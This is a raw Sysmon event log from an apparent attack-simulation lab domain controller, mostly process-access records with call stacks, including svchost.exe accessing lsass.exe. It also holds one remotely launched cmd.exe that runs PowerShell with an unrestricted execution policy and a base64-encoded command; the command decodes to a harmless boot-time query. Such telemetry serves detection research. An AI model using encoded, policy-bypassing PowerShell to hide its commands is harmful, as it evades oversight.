KABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBMAGEAcwB0AEIAbwBvAHQAVQBwAFQAaQBtAGUA 10341000x8000000000000000672Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.549{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000671Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.549{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000670Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.549{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000669Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.549{A5F018FF-289E-5F80-1B03-000000007E01}33844132C:\Windows\system32\conhost.exe{A5F018FF-289E-5F80-1C03-000000007E01}4296C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000668Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.549{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000667Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.549{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000666Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.549{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000665Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.549{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000664Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.549{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000663Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.549{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000662Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.549{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000661Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.549{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000660Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.549{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000659Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.549{A5F018FF-2724-5F80-0500-000000007E01}6402972C:\Windows\system32\csrss.exe{A5F018FF-289E-5F80-1C03-000000007E01}4296C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000658Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.549{A5F018FF-289E-5F80-1A03-000000007E01}42204080C:\Windows\system32\WinrsHost.exe{A5F018FF-289E-5F80-1C03-000000007E01}4296C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\WinrsHost.exe+2c94|C:\Windows\system32\WinrsHost.exe+2eb1|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+7d09|C:\Windows\System32\combase.dll+22b9|C:\Windows\System32\RPCRT4.dll+b42b|C:\Windows\System32\combase.dll+53b8c|C:\Windows\System32\combase.dll+53842|C:\Windows\System32\combase.dll+51968|C:\Windows\System32\combase.dll+4fedd|C:\Windows\System32\combase.dll+4f5bf|C:\Windows\System32\combase.dll+6da09|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5982e|C:\Windows\System32\RPCRT4.dll+39257|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb 154100x8000000000000000657Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.556{A5F018FF-289E-5F80-1C03-000000007E01}4296C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand KABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBMAGEAcwB0AEIAbwBvAHQAVQBwAFQAaQBtAGUAC:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-289E-5F80-0621-120000000000}0x1221060HighMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-289E-5F80-1A03-000000007E01}4220C:\Windows\System32\winrshost.exeC:\Windows\system32\WinrsHost.exe -Embedding 10341000x8000000000000000656Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.549{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000655Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.549{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000654Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.549{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000653Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.549{A5F018FF-272E-5F80-1400-000000007E01}13481664C:\Windows\system32\svchost.exe{A5F018FF-289E-5F80-1A03-000000007E01}4220C:\Windows\system32\WinrsHost.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\winrscmd.dll+8d36|C:\Windows\system32\winrscmd.dll+92d5|C:\Windows\system32\winrscmd.dll+af31|C:\Windows\system32\winrscmd.dll+23dc|c:\windows\system32\wsmsvc.dll+155ac7|c:\windows\system32\wsmsvc.dll+13f76d|c:\windows\system32\wsmsvc.dll+13f3cf|c:\windows\system32\wsmsvc.dll+13fcb2|c:\windows\system32\wsmsvc.dll+9ab10|c:\windows\system32\wsmsvc.dll+9b611|c:\windows\system32\wsmsvc.dll+4495|c:\windows\system32\wsmsvc.dll+16816c|c:\windows\system32\wsmsvc.dll+1689b8|c:\windows\system32\wsmsvc.dll+16345b|c:\windows\system32\wsmsvc.dll+163125|c:\windows\system32\wsmsvc.dll+14ce9c|c:\windows\system32\wsmsvc.dll+130049|c:\windows\system32\wsmsvc.dll+13571a|c:\windows\system32\wsmsvc.dll+12f47e|c:\windows\system32\wsmsvc.dll+125587|c:\windows\system32\wsmsvc.dll+11f562|c:\windows\system32\wsmsvc.dll+124574 10341000x8000000000000000652Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.534{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-289E-5F80-1A03-000000007E01}4220C:\Windows\system32\WinrsHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000651Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.534{A5F018FF-272E-5F80-0E00-000000007E01}11002428C:\Windows\system32\LogonUI.exe{A5F018FF-2729-5F80-0700-000000007E01}716C:\Windows\system32\wininit.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\logoncontroller.dll+2dfb5|C:\Windows\System32\RPCRT4.dll+581c4|C:\Windows\System32\RPCRT4.dll+39bd0|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000650Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.534{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2729-5F80-0700-000000007E01}716C:\Windows\system32\wininit.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eacf|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+1a375|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000649Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.534{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2729-5F80-0700-000000007E01}716C:\Windows\system32\wininit.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eacf|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000648Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 